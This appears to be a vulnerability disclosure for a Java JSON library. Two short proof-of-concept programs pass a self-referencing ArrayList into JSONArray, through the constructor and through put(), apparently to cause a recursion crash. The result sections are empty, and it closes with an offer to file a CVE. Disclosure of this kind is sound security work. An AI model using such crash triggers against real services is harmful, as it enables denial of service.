PoC when initializing a JSONArray:
public class POC {
public static void main(String[] args) throws JSONException {
ArrayList<Object> list = new ArrayList<>();
list.add(list);
JSONArray jsonArray=new JSONArray(list);
}
}
The result:

PoC when adding the list to an existing JSONArray:
public class POC {
public static void main(String[] args) throws JSONException {
ArrayList<Object> list = new ArrayList<>();
list.add(list);
JSONArray jsonArray=new JSONArray().put(list);
}
}
The result:

If the issue is indeed exploitable, we can create a CVE entry after the fixed version is released since we are a CNA.